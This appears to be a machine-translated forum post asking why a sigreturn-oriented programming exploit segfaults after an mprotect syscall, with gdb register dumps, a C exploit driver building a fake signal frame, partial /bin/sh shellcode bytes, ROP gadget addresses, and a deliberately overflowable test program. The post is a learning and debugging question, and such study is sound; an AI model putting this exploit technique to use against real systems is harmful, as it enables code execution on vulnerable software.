尝试保护内存区域,以便我可以执行shellcode,但它失败了,就在系统调用之后
(gdb) stepi
0xffffffffff600007 in ?? ()
(gdb) i r
rax 0xa 10
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x1000 4096
rdi 0x7fffffffe000 140737488347136
rbp 0x0 0x0
rsp 0x7fffffffeba0 0x7fffffffeba0
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x0 0
r12 0x0 0
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0xffffffffff600007 0xffffffffff600007
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---sq
gs 0x0 0
(gdb) stepi
0xffffffffff600009 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x0 0
rsi 0x1000 4096
rdi 0x7fffffffe000 140737488347136
rbp 0x0 0x0
rsp 0x7fffffffeba0 0x7fffffffeba0
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x302 770
r12 0x0 0
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0xffffffffff600009 0xffffffffff600009
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600009 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x0 0
rsi 0x1000 4096
rdi 0x7fffffffe000 140737488347136
rbp 0x0 0x0
rsp 0x7fffffffeba0 0x7fffffffeba0
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x302 770
r12 0x0 0
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0xffffffffff600009 0xffffffffff600009
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---
gs 0x0 0
(gdb)
我正在执行这样的二进制文件:
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
#define SYSCALL 0xffffffffff600007
#define DATA 0x7fffffffeba0 //buf addres in vulerable program "prog"
#define MPROTECT_BASE 0x7fffffffe000 //must be a multiple of page_size (in .bss)
#define MPROTECT_SYSCALL 0xa
#define FLAGS 0x33
#define PAGE_SIZE 4096
int main(void)
{
pid_t pid;
if ((pid = fork()) < 0) {
perror("fork");
return EXIT_FAILURE;
} else if (! pid) { /* child */
int fd;
struct ucontext ctx;
/* initializing the context structure */
bzero(&ctx, sizeof(struct ucontext));
/* setting rip value (points to syscall address) */
ctx.uc_mcontext.gregs[16] = SYSCALL;
/* setting 0x3b in rax (execve syscall) */
ctx.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;
/* setting first arg of execve in rdi */
ctx.uc_mcontext.gregs[8] = MPROTECT_BASE;
/* setting second arg of execv in rsi */
ctx.uc_mcontext.gregs[9] = PAGE_SIZE;
/*
* jumping into nop sled after mprotect syscall.
* setting rsp value
*/
ctx.uc_mcontext.gregs[15] = DATA;
/* cs = 0x33 */
ctx.uc_mcontext.gregs[18] = 0x33;
FILE *fp;
fp=fopen("rop.dat","a");
fwrite((char *) "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f",sizeof(char),24,fp); //shellcode incomplete, needs few bytes more, just for testing
fwrite((char *) "\x45\x05\x40\x00\x00\x00\x00\x00",sizeof(char),8,fp); //mov 0xf, rax; ret gadget
fwrite((char *) "\x07\x00\x60\xff\xff\xff\xff\xff", sizeof(char),8,fp); //syscal; ret gadget
fwrite(&ctx,sizeof(ctx),1,fp);
fclose(fp);
fd = open("rop.dat", O_RDONLY);
if (fd < 0) {
perror("open");
return EXIT_FAILURE;
}
dup2(fd, STDIN_FILENO);
close(fd);
execlp("/opt/prog", "prog", (char *)0);
perror("exec");
return EXIT_FAILURE;
} else { /* parent */
printf("Parent waiting\n");
}
return EXIT_SUCCESS;
}
弱势程序
prog.c中
#include <stdio.h>
void main(){
int buf[4];
read(0, buf, 512);
}
void gadget()
{
asm("mov $0xf,%rax\n");
asm("retq\n");
}
这种技术称为Sigreturn Oriented Programming(SROP)。更多信息: http://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/
所以我的问题是:
谢谢,